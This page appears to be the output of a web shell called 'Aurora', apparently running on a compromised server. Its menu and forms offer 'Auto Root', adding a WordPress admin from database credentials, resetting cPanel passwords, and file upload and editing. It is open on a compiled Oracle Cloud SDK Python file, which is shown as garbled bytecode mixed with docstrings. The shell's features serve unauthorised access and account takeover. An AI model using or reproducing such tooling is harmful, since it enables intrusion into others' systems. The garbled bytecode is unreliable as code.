Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
ai_document
models
__pycache__
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: add_project_lock_details.cpython-39.opt-1.pyc
a ���f* � @ s8 d dl mZmZmZ d dlmZ eG dd� de��ZdS )� )�formatted_flat_dict� NONE_SENTINEL�#value_allowed_none_or_none_sentinel)�init_model_state_from_kwargsc @ s� e Zd ZdZdZdZdd� Zedd� �Zej dd� �Zed d � �Z e j dd � �Z edd � �Zej dd � �Zdd� Zdd� Z dd� ZdS )�AddProjectLockDetailsz6 Request payload to add lock to the resource. �FULL�DELETEc K s2 dddd�| _ dddd�| _d| _d| _d| _dS )a� Initializes a new AddProjectLockDetails object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param type: The value to assign to the type property of this AddProjectLockDetails. Allowed values for this property are: "FULL", "DELETE" :type type: str :param related_resource_id: The value to assign to the related_resource_id property of this AddProjectLockDetails. :type related_resource_id: str :param message: The value to assign to the message property of this AddProjectLockDetails. :type message: str �str)�type�related_resource_id�messager ZrelatedResourceIdr N)Z swagger_typesZ attribute_map�_type�_related_resource_id�_message)�self�kwargs� r �S/usr/lib/python3.9/site-packages/oci/ai_document/models/add_project_lock_details.py�__init__ s ��zAddProjectLockDetails.__init__c C s | j S )z� **[Required]** Gets the type of this AddProjectLockDetails. Type of the lock. Allowed values for this property are: "FULL", "DELETE" :return: The type of this AddProjectLockDetails. :rtype: str )r �r r r r r = s zAddProjectLockDetails.typec C s* ddg}t ||�s td|� ���|| _dS )z� Sets the type of this AddProjectLockDetails. Type of the lock. :param type: The type of this AddProjectLockDetails. :type: str r r z1Invalid value for `type`, must be None or one of N)r � ValueErrorr )r r Zallowed_valuesr r r r K s �c C s | j S )a% Gets the related_resource_id of this AddProjectLockDetails. The ID of the resource that is locking this resource. Indicates that deleting this resource will remove the lock. :return: The related_resource_id of this AddProjectLockDetails. :rtype: str �r r r r r r \ s z)AddProjectLockDetails.related_resource_idc C s || _ dS )a7 Sets the related_resource_id of this AddProjectLockDetails. The ID of the resource that is locking this resource. Indicates that deleting this resource will remove the lock. :param related_resource_id: The related_resource_id of this AddProjectLockDetails. :type: str Nr )r r r r r r h s c C s | j S )a Gets the message of this AddProjectLockDetails. A message added by the creator of the lock. This is typically used to give an indication of why the resource is locked. :return: The message of this AddProjectLockDetails. :rtype: str �r r r r r r t s zAddProjectLockDetails.messagec C s || _ dS )a Sets the message of this AddProjectLockDetails. A message added by the creator of the lock. This is typically used to give an indication of why the resource is locked. :param message: The message of this AddProjectLockDetails. :type: str Nr )r r r r r r � s c C s t | �S �N)r r r r r �__repr__� s zAddProjectLockDetails.__repr__c C s |d u rdS | j |j kS )NF)�__dict__�r �otherr r r �__eq__� s zAddProjectLockDetails.__eq__c C s | |k S r r r r r r �__ne__� s zAddProjectLockDetails.__ne__N)�__name__� __module__�__qualname__�__doc__Z TYPE_FULLZTYPE_DELETEr �propertyr �setterr r r r r r r r r r s&